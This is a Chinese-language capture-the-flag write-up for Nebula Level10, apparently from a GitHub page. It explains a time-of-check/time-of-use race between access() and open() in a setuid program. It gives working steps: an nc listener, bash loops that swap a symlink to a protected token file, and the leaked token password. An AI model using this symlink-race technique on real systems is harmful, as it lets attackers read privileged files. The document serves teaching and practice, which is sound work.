Skip to content

Latest commit

 

History

History
161 lines (111 loc) · 6.35 KB

Level10——访问竞态条件漏洞.md

File metadata and controls

161 lines (111 loc) · 6.35 KB

在/home/flag10目录下有两个文件:flag10和token。其中token里保存了flag10帐号的登录密码,要求利用flag10程序去读出。

这关是一个很经典的文件访问竞态条件漏洞。文件访问竞态条件漏洞,也可称作为“TOCTOU漏洞“——time of check,time of use。这种类型的漏洞描述了这样一个问题:

当在使用一个文件之前,先判断当前用户是否具有对该文件操作的权限,如果有,才可以继续。这种思路流程如下:

if (access(file,R_OK)) {
     int f = open(file,O_RDONLY);
          .....
     } else {
          printf("error\n");
          exit(1);
 }

在上面代码中,首先用access函数判断当前用户是否有操作文件的权限(access函数用的是进程的uid来作为判断),如果当前用户没有针对该文件的权限,则打印ERROR;有则open它。在早期的单处理操作系统中,这样的代码可能是严谨的,出发点也是好的——因为单处理的话,进程执行完毕后才发生切换。但是在多任务的操作系统中有这样一个问题:在用access检查文件后,这个程序可能受到其他程序的干扰或者发生进程切换,在进程发生切换之后,进程失去了执行流程,并且在它还未再次获得执行时,它欲操作的文件发生改变——邪恶源头是因为access和open都是通过文件路径字符串作为参数的,这个路径可能是一个链接文件。在Linux中,假设要access一个/tmp/lx文件,在access后、open之前,/tmp/lx被替换成了一个链接文件,指向了其他文件(如/etc/passwd),如果这个进程有对/etc/passwd操作的权限,它最终所操作的并不是真正的/tmp/lx,而是/etc/passwd。

现在来看题目给出的完整代码:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
    char *file;
    char *host;

    if(argc < 3) {
        printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
        exit(1);
    }

    file = argv[1];
    host = argv[2];

    if(access(argv[1], R_OK) == 0) {
        int fd;
        int ffd;
        int rc;
        struct sockaddr_in sin;
        char buffer[4096];

        printf("Connecting to %s:18211 .. ", host); fflush(stdout);

        fd = socket(AF_INET, SOCK_STREAM, 0);

        memset(&sin, 0, sizeof(struct sockaddr_in));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(host);
        sin.sin_port = htons(18211);

        if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
            printf("Unable to connect to host %s\n", host);
            exit(EXIT_FAILURE);
        }

#define HITHERE ".oO Oo.\n"
        if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
            printf("Unable to write banner to host %s\n", host);
            exit(EXIT_FAILURE);
        }
#undef HITHERE

        printf("Connected!\nSending file .. "); fflush(stdout);

        ffd = open(file, O_RDONLY);
        if(ffd == -1) {
            printf("Damn. Unable to open file\n");
            exit(EXIT_FAILURE);
        }

        rc = read(ffd, buffer, sizeof(buffer));
        if(rc == -1) {
            printf("Unable to read from file: %s\n", strerror(errno));
            exit(EXIT_FAILURE);
        }

        write(fd, buffer, rc);

        printf("wrote file!\n");

    } else {
        printf("You don't have access to %s\n", file);
    }
}

如果当前用户可以访问某个文件,access反回值是0,注意代码第24行的这句:

if(access(argv[1],R_OK)==0){

一切操作必须通过这段if之后,才可以进行,否则程序会跳到第71行,打印信息后退出。我最初的想法是通过gdb在access函数执行后的位置下断点,然后改变eax的值,但是后来经过大量测试,我发现这样做open始终都返回的是-1,然后我简单看了下Linux源码中access和open的底层实现,也没发现问题。之后通过谷歌搜索资料才了解到,原来针对suid的程序,通过gdb调试,suid是没有生效的,除非当前身份是root权限。

继续分析代码,这段代码建立了一个socket连接,连接到18211端口上,然后发送一个“banner”(内容是".oO Oo.\n",由代码第45行的宏定义。之后open指定的文件,如果打开成功,就把内容发送到建立的通信连接里。

参考了www.mattandreko.com后,我整理了下思路:

1、在本地监听一个端口;

2、让flag10这个可执行性程序去access一个当前用户有权限访问的文件(在/tmp中建立一个);

3、删除掉建立的那个文件,再建立一个指向/home/flag10/token的链接文件。

首先,就在tty1里用nc监听18211端口:

nc -k -l 127.0.0.1 18211

一定要用-k参数在连接结束之后强制保持连接状态,否则收到banner之后,连接就结束了。

之后,换到tty2(ctrl+alt+f2),到/tmp目录下建立一个文件:

touch /tmp/token10

再建立一个shell脚本,文件名xx:

#! /bin/bash

while true
do
  ln -fs /tmp/token /tmp/token10
  ln -fs /home/flag10/token /tmp/token10
done

加入可执行权限并执行:

chmod +x xx;./x

然后切换到tty3,再在/tmp下建立yy:

#! /bin/bash

while true
do
  nice -n 19 /home/flag10/flag10 /tmp/token10 127.0.0.1
done

加入可执行权限,并执行:

chmod +x yy; ./y

nice -n 19表示改变文件的执行优先级,范围是-20~19,数字越低,优先级越高,这里把flag10这个程序的优先级变低,这样就可以在access函数执行后、open函数执行前,有机会可以改掉/tmp/token10的指向了。

最后看nc的输出结果,就看得到token了:

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

这就是flag10的密码,之后登录flag10帐号,执行getflag:

level10@nebula:/tmp$ su flag10
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

参考资料: [1] www.mattandreko.com